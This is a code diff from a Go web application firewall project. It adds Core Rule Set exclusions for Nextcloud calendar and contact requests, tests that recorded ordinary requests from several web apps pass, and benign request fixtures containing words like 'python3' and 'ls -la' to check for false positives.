ctl:ruleRemoveTargetById=932125;XML:/*,\
|
||||||
|
ctl:ruleRemoveTargetById=932230;XML:/*,\
|
||||||
|
ctl:ruleRemoveTargetById=932250;XML:/*,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;XML:/*"
|
||||||
|
|
||||||
|
# When the Calendar app changes an event, it names the charset twice in the
|
||||||
|
# Content-Type of the PUT:
|
||||||
|
# text/calendar; charset=UTF-8; component=vevent; charset=UTF-8
|
||||||
|
# The Contacts app does the same with text/vcard when it changes a contact.
|
||||||
|
# 920530 refused both. The body of such a PUT is not read (900118).
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/(?:calendars|addressbooks)/" \
|
||||||
|
"id:900123,phase:1,pass,nolog,chain"
|
||||||
|
SecRule REQUEST_METHOD "@streq PUT" "chain"
|
||||||
|
SecRule REQUEST_HEADERS:Content-Type "@rx ^text/(?:calendar|vcard);" \
|
||||||
|
"ctl:ruleRemoveById=920530"
|
||||||
|
|
||||||
|
# The XML body of a new address book's MKCOL may hold its description. Like a
|
||||||
|
# calendar's (900122), it is a sentence, and the same two rules refused it:
|
||||||
|
# 932125, 932230: Powershell and python3 contacts; ls -la first
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/addressbooks/" \
|
||||||
|
"id:900124,phase:1,pass,nolog,chain"
|
||||||
|
SecRule REQUEST_METHOD "@streq MKCOL" \
|
||||||
|
"ctl:ruleRemoveTargetById=932125;XML:/*,\
|
||||||
|
ctl:ruleRemoveTargetById=932230;XML:/*"
|
||||||
|
|
||||||
|
SecMarker END_NEXTCLOUD
|
||||||
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,290 @@
|
|||||||
|
//go:build recorded
|
||||||
|
|
||||||
|
// The tests that check the apps' recorded requests in testdata. The recorded
|
||||||
|
// tag keeps them out of the test phase's pass with the race detector, and
|
||||||
|
// its second pass, without the race detector, runs them.
|
||||||
|
|
||||||
|
package coreruleset_test
|
||||||
|
|
||||||
|
import (
|
||||||
|
"encoding/json"
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
"slices"
|
||||||
|
"strings"
|
||||||
|
"testing"
|
||||||
|
|
||||||
|
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
||||||
|
)
|
||||||
|
|
||||||
|
// appsUnset labels the checks made while SWW_APPS is unset.
|
||||||
|
const appsUnset = "SWW_APPS unset"
|
||||||
|
|
||||||
|
// giteaRequests returns the recorded ordinary gitea requests in testdata.
|
||||||
|
// Each has the Referer of a page that names the same, as a page opened
|
||||||
|
// from it has.
|
||||||
|
func giteaRequests(t *testing.T) []request {
|
||||||
|
t.Helper()
|
||||||
|
|
||||||
|
text, err := os.ReadFile(filepath.Join("testdata", "gitea-requests.txt"))
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
|
||||||
|
var requests []request
|
||||||
|
|
||||||
|
for line := range strings.Lines(string(text)) {
|
||||||
|
line = strings.TrimSpace(line)
|
||||||
|
if line == "" || strings.HasPrefix(line, "#") {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
target, header, _ := strings.Cut(line, " ")
|
||||||
|
|
||||||
|
headers := []string{"Referer: http://git.example" + target}
|
||||||
|
if header != "" {
|
||||||
|
headers = append(headers, header)
|
||||||
|
}
|
||||||
|
|
||||||
|
requests = append(requests, get(target, headers...))
|
||||||
|
}
|
||||||
|
|
||||||
|
return requests
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestOrdinaryGiteaRequestsPass checks gitea's recorded requests with
|
||||||
|
// SWW_APPS unset, and on giteaHost while SWW_APPS lists only gitea for it.
|
||||||
|
func TestOrdinaryGiteaRequestsPass(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
||||||
|
|
||||||
|
requests := giteaRequests(t)
|
||||||
|
giteaOnly := map[string][]string{giteaHost: {gitea}}
|
||||||
|
|
||||||
|
for apps, crs := range map[string]*coreruleset.CoreRuleSet{
|
||||||
|
appsUnset: atDefaults(t),
|
||||||
|
"SWW_APPS=" + giteaHost + ":" + gitea: servingApps(t, giteaOnly),
|
||||||
|
} {
|
||||||
|
for _, r := range requests {
|
||||||
|
got := inspect(t, crs, withHost(r, giteaHost))
|
||||||
|
if got.Score >= threshold {
|
||||||
|
t.Errorf(
|
||||||
|
"%s: %s %q refused: %+v",
|
||||||
|
apps,
|
||||||
|
r.target,
|
||||||
|
r.headers[1:],
|
||||||
|
got,
|
||||||
|
)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// recordedRequest is a line of a file of recorded requests in testdata.
|
||||||
|
type recordedRequest struct {
|
||||||
|
Method string `json:"method"`
|
||||||
|
Target string `json:"target"`
|
||||||
|
Headers []string `json:"headers"`
|
||||||
|
Body string `json:"body"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// recordedRequests returns the recorded ordinary requests in the file name
|
||||||
|
// in testdata, each with its body.
|
||||||
|
func recordedRequests(t *testing.T, name string) []recordedRequest {
|
||||||
|
t.Helper()
|
||||||
|
|
||||||
|
path := filepath.Join("testdata", name)
|
||||||
|
|
||||||
|
text, err := os.ReadFile(path) //nolint:gosec // a file in testdata
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
|
||||||
|
var requests []recordedRequest
|
||||||
|
|
||||||
|
for line := range strings.Lines(string(text)) {
|
||||||
|
if strings.HasPrefix(line, "#") {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
var r recordedRequest
|
||||||
|
|
||||||
|
err := json.Unmarshal([]byte(line), &r)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("%q: %v", line, err)
|
||||||
|
}
|
||||||
|
|
||||||
|
requests = append(requests, r)
|
||||||
|
}
|
||||||
|
|
||||||
|
return requests
|
||||||
|
}
|
||||||
|
|
||||||
|
// wantRecordedRequestsPass checks that none of the recorded ordinary
|
||||||
|
// requests in the file name in testdata is refused: with SWW_APPS unset, and
|
||||||
|
// on the hostname where they were recorded, otherHost for WordPress and
|
||||||
|
// example.com for the other apps, while SWW_APPS lists only app for it. Both
|
||||||
|
// times, they are checked at the defaults and while bodies are read. A
|
||||||
|
// request with neither a body nor a Content-Type header is checked only at
|
||||||
|
// the defaults: with neither, the set that reads bodies has nothing more to
|
||||||
|
// check. Each request runs as its own parallel subtest for each setting of
|
||||||
|
// SWW_APPS.
|
||||||
|
func wantRecordedRequestsPass(t *testing.T, name, app string) {
|
||||||
|
t.Helper()
|
||||||
|
|
||||||
|
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
||||||
|
|
||||||
|
requests := recordedRequests(t, name)
|
||||||
|
|
||||||
|
for setting, apps := range map[string]map[string][]string{
|
||||||
|
appsUnset: nil,
|
||||||
|
"SWW_APPS lists only " + app: {"example.com": {app}, otherHost: {app}},
|
||||||
|
} {
|
||||||
|
defaults := servingApps(t, apps)
|
||||||
|
bodies := shared(t, coreruleset.Params{
|
||||||
|
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
|
||||||
|
BodyLimit: bodyLimit, Apps: apps,
|
||||||
|
})
|
||||||
|
|
||||||
|
for _, recorded := range requests {
|
||||||
|
t.Run(
|
||||||
|
setting+": "+recorded.Method+" "+recorded.Target,
|
||||||
|
func(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
r := request{
|
||||||
|
recorded.Method,
|
||||||
|
recorded.Target,
|
||||||
|
recorded.Headers,
|
||||||
|
}
|
||||||
|
|
||||||
|
got, _ := inspectBody(t, defaults, r, recorded.Body)
|
||||||
|
if got.Score >= threshold {
|
||||||
|
t.Errorf(
|
||||||
|
"%s %s refused: %+v",
|
||||||
|
r.method,
|
||||||
|
r.target,
|
||||||
|
got,
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
typed := slices.ContainsFunc(
|
||||||
|
recorded.Headers,
|
||||||
|
func(header string) bool {
|
||||||
|
name, _, _ := strings.Cut(header, ":")
|
||||||
|
|
||||||
|
return strings.EqualFold(name, "Content-Type")
|
||||||
|
},
|
||||||
|
)
|
||||||
|
if recorded.Body == "" && !typed {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
got, _ = inspectBody(t, bodies, r, recorded.Body)
|
||||||
|
if got.Score >= threshold {
|
||||||
|
t.Errorf(
|
||||||
|
"%s %s %.200q refused while bodies are read: %+v",
|
||||||
|
r.method,
|
||||||
|
r.target,
|
||||||
|
recorded.Body,
|
||||||
|
got,
|
||||||
|
)
|
||||||
|
}
|
||||||
|
},
|
||||||
|
)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestOrdinaryDrupalRequestsPass(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
wantRecordedRequestsPass(t, "drupal-requests.txt", "drupal")
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestOrdinaryForgejoRequestsPass checks Forgejo's recorded requests at the
|
||||||
|
// defaults only: with SWW_APPS unset, and on example.com, where they were
|
||||||
|
// recorded, while SWW_APPS lists only forgejo for it. While bodies are read,
|
||||||
|
// the Core Rule Set still refuses a new wiki page whose title and text name
|
||||||
|
// commands and files, as it does such text in gitea's comments
|
||||||
|
// (TestGiteaBodiesTheCoreRuleSetRefuses). The requests that name a file or a
|
||||||
|
// branch in a body are checked while bodies are read in
|
||||||
|
// TestForgejoNamesInBodiesPass.
|
||||||
|
func TestOrdinaryForgejoRequestsPass(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
||||||
|
|
||||||
|
requests := recordedRequests(t, "forgejo-requests.txt")
|
||||||
|
forgejoOnly := map[string][]string{"example.com": {forgejo}}
|
||||||
|
|
||||||
|
for apps, crs := range map[string]*coreruleset.CoreRuleSet{
|
||||||
|
appsUnset: atDefaults(t),
|
||||||
|
"SWW_APPS=example.com:forgejo": servingApps(t, forgejoOnly),
|
||||||
|
} {
|
||||||
|
for _, recorded := range requests {
|
||||||
|
r := request{recorded.Method, recorded.Target, recorded.Headers}
|
||||||
|
if got, _ := inspectBody(t, crs, r, recorded.Body); got.Score >= threshold {
|
||||||
|
t.Errorf(
|
||||||
|
"%s: %s %s refused: %+v",
|
||||||
|
apps,
|
||||||
|
r.method,
|
||||||
|
r.target,
|
||||||
|
got,
|
||||||
|
)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestGiteaNamesInBodiesPass checks gitea's recorded requests that name a
|
||||||
|
// file or a branch in a body, while bodies are read too.
|
||||||
|
func TestGiteaNamesInBodiesPass(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
wantRecordedRequestsPass(t, "gitea-names-in-bodies.txt", gitea)
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestForgejoNamesInBodiesPass is TestGiteaNamesInBodiesPass for Forgejo.
|
||||||
|
func TestForgejoNamesInBodiesPass(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
wantRecordedRequestsPass(t, "forgejo-names-in-bodies.txt", forgejo)
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestOrdinaryGhostRequestsPass(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
wantRecordedRequestsPass(t, "ghost-requests.txt", "ghost")
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestOrdinaryMastodonRequestsPass(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
wantRecordedRequestsPass(t, "mastodon-requests.txt", "mastodon")
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestOrdinaryMediaWikiRequestsPass(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
wantRecordedRequestsPass(t, "mediawiki-requests.txt", mediawiki)
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestOrdinaryNextcloudRequestsPass(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
wantRecordedRequestsPass(t, "nextcloud-requests.txt", nextcloud)
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestOrdinaryVaultwardenRequestsPass(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
wantRecordedRequestsPass(t, "vaultwarden-requests.txt", "vaultwarden")
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestOrdinaryWordPressRequestsPass(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
wantRecordedRequestsPass(t, "wordpress-requests.txt", wordpress)
|
||||||
|
}
|
||||||
@@ -407,6 +407,16 @@
|
|||||||
{"method": "GET", "target": "/node/1?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value"], "body": ""}
|
{"method": "GET", "target": "/node/1?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||||
{"method": "PATCH", "target": "/node/1?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Content-Type: application/json", "X-Csrf-Token: zG78nvG2BJfVxmuln0IVMVLxP3mMFJbS5E-H_v9caxs"], "body": "{\"type\": [{\"target_id\": \"article\"}], \"title\": [{\"value\": \"Edited: python3\"}]}"}
|
{"method": "PATCH", "target": "/node/1?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Content-Type: application/json", "X-Csrf-Token: zG78nvG2BJfVxmuln0IVMVLxP3mMFJbS5E-H_v9caxs"], "body": "{\"type\": [{\"target_id\": \"article\"}], \"title\": [{\"value\": \"Edited: python3\"}]}"}
|
||||||
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"mail\": \"new.person@example.com\"}"}
|
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"mail\": \"new.person@example.com\"}"}
|
||||||
|
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"name\": \"example\"}"}
|
||||||
|
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"name\": \"python3\"}"}
|
||||||
|
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"name\": \"powershell\"}"}
|
||||||
|
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"name\": \"ls -la\"}"}
|
||||||
|
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"name\": \".htaccess\"}"}
|
||||||
|
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"mail\": \"example@example.com\"}"}
|
||||||
|
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"mail\": \"python3@example.com\"}"}
|
||||||
|
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"mail\": \"powershell@example.com\"}"}
|
||||||
|
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"mail\": \"ls-la@example.com\"}"}
|
||||||
|
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"mail\": \"htaccess@example.com\"}"}
|
||||||
{"method": "POST", "target": "/user/logout?_format=json&token=6g2zVXyWnyiVNy0zy76IqHwJfb_Q7fY4m1cpnZyh0LY", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value"], "body": ""}
|
{"method": "POST", "target": "/user/logout?_format=json&token=6g2zVXyWnyiVNy0zy76IqHwJfb_Q7fY4m1cpnZyh0LY", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||||
{"method": "PATCH", "target": "/jsonapi/node/article/77b584a4-587e-4273-90b7-2677a1502feb", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json", "Content-Type: application/vnd.api+json", "X-Csrf-Token: fK1nVGRmImLpZRnGKVLo_fRY4zvgCTRWbMAXJ0023ho"], "body": "{\"data\": {\"type\": \"node--article\", \"id\": \"77b584a4-587e-4273-90b7-2677a1502feb\", \"attributes\": {\"title\": \"Edited about docker-compose.yml\", \"body\": {\"value\": \"<p>SELECT rows FROM table, then ls -la.</p>\", \"format\": \"basic_html\"}}}}"}
|
{"method": "PATCH", "target": "/jsonapi/node/article/77b584a4-587e-4273-90b7-2677a1502feb", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json", "Content-Type: application/vnd.api+json", "X-Csrf-Token: fK1nVGRmImLpZRnGKVLo_fRY4zvgCTRWbMAXJ0023ho"], "body": "{\"data\": {\"type\": \"node--article\", \"id\": \"77b584a4-587e-4273-90b7-2677a1502feb\", \"attributes\": {\"title\": \"Edited about docker-compose.yml\", \"body\": {\"value\": \"<p>SELECT rows FROM table, then ls -la.</p>\", \"format\": \"basic_html\"}}}}"}
|
||||||
{"method": "GET", "target": "/jsonapi/node/article/77b584a4-587e-4273-90b7-2677a1502feb?include=uid", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
{"method": "GET", "target": "/jsonapi/node/article/77b584a4-587e-4273-90b7-2677a1502feb?include=uid", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||||
|
|||||||
@@ -0,0 +1,41 @@
|
|||||||
|
# Ordinary Forgejo 17.0.1 requests that name a file or a branch in a body, which
|
||||||
|
# the Core Rule Set must let through while it reads bodies. They were recorded
|
||||||
|
# from a Forgejo driven by a headless Chrome, signed in, and by a script on the
|
||||||
|
# API. Each line is one request as JSON. Names, cookies and tokens are
|
||||||
|
# invented. The browser's User-Agent is an ordinary Chrome's.
|
||||||
|
{"method": "POST", "target": "/api/v1/repos/alice/tools/branches", "headers": ["Accept-Encoding: identity", "Content-Length: 62", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"new_branch_name\": \"python3-docs\", \"old_branch_name\": \"main\"}"}
|
||||||
|
{"method": "POST", "target": "/api/v1/repos/alice/tools/pulls", "headers": ["Accept-Encoding: identity", "Content-Length: 103", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"title\": \"Add Dockerfile\", \"head\": \"feat/docker-support\", \"base\": \"main\", \"body\": \"Builds the image.\"}"}
|
||||||
|
{"method": "POST", "target": "/api/v1/repos/alice/tools/contents/scripts/powershell-build.ps1", "headers": ["Accept-Encoding: identity", "Content-Length: 105", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"content\": \"V3JpdGUtSG9zdCAiYnVpbGQiCg==\", \"message\": \"Add a PowerShell build script\", \"branch\": \"main\"}"}
|
||||||
|
{"method": "POST", "target": "/alice/tools/_edit/main/docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 278", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "last_commit=7fdea7fc2e2e31e0acbd7c19e7a79b71b370a535&page_has_posted=&tree_path=docker-compose.yml&content=services%3A%0D%0A++web%3A%0D%0A++++image%3A+nginx%3A1.27%0D%0A&commit_summary=Pin+nginx&commit_message=&commit_choice=direct&new_branch_name=alice-patch-1&commit_mail_id=1"}
|
||||||
|
{"method": "POST", "target": "/alice/tools/_new/main/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 272", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_new/main/", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "last_commit=550f5bc9ec44f5e1a7421342d5a29584893637e0&page_has_posted=&tree_path=docs%2Fpython3-setup.md&content=%23+Setup%0D%0A%0D%0AInstall+the+tools.%0D%0A&commit_summary=Add+setup+notes&commit_message=&commit_choice=direct&new_branch_name=alice-patch-1&commit_mail_id=1"}
|
||||||
|
{"method": "POST", "target": "/alice/tools/_delete/main/.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 168", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_delete/main/.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "last_commit=918ad9ba97e11df8bb1153b69029b667a8913ab1&commit_summary=Remove+.htaccess&commit_message=&commit_choice=direct&new_branch_name=alice-patch-1&commit_mail_id=1"}
|
||||||
|
{"method": "POST", "target": "/alice/tools/_delete/main/scripts/install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 186", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_delete/main/scripts/install-script.sh", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "last_commit=d38a7aa4e96146ab653ff3f4ddfe7c4be030c0ef&commit_summary=Remove+scripts%2Finstall-script.sh&commit_message=&commit_choice=direct&new_branch_name=alice-patch-1&commit_mail_id=1"}
|
||||||
|
{"method": "POST", "target": "/alice/tools/branches/_new/branch/main", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 28", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "new_branch_name=docker-build"}
|
||||||
|
{"method": "POST", "target": "/alice/tools/settings/rename_branch", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 52", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "from=feat%2Fdocker-support&to=feat%2Fpython3-support"}
|
||||||
|
{"method": "POST", "target": "/alice/tools/branches/_new/branch/main", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 32", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "new_branch_name=powershell-build"}
|
||||||
|
{"method": "POST", "target": "/alice/tools/settings/rename_branch", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 46", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "from=powershell-build&to=fix-powershell-module"}
|
||||||
|
{"method": "POST", "target": "/alice/tools/_edit/main/docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 335", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "last_commit=81a7c32c1d6563647702da20db8b312378dbb09a&page_has_posted=&tree_path=docker-compose.yml&content=services%3A%0D%0A++web%3A%0D%0A++++image%3A+nginx%3A1.27%0D%0A++++restart%3A+always&commit_summary=Restart+the+web+service&commit_message=&commit_choice=commit-to-new-branch&new_branch_name=feat%2Fdocker-support&commit_mail_id=1"}
|
||||||
|
{"method": "POST", "target": "/alice/tools/_new/main/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 251", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_new/main/", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "last_commit=81a7c32c1d6563647702da20db8b312378dbb09a&page_has_posted=&tree_path=docs%2Fsetup.md&content=%23+Setup&commit_summary=Add+setup+notes&commit_message=&commit_choice=commit-to-new-branch&new_branch_name=powershell-setup-notes&commit_mail_id=1"}
|
||||||
|
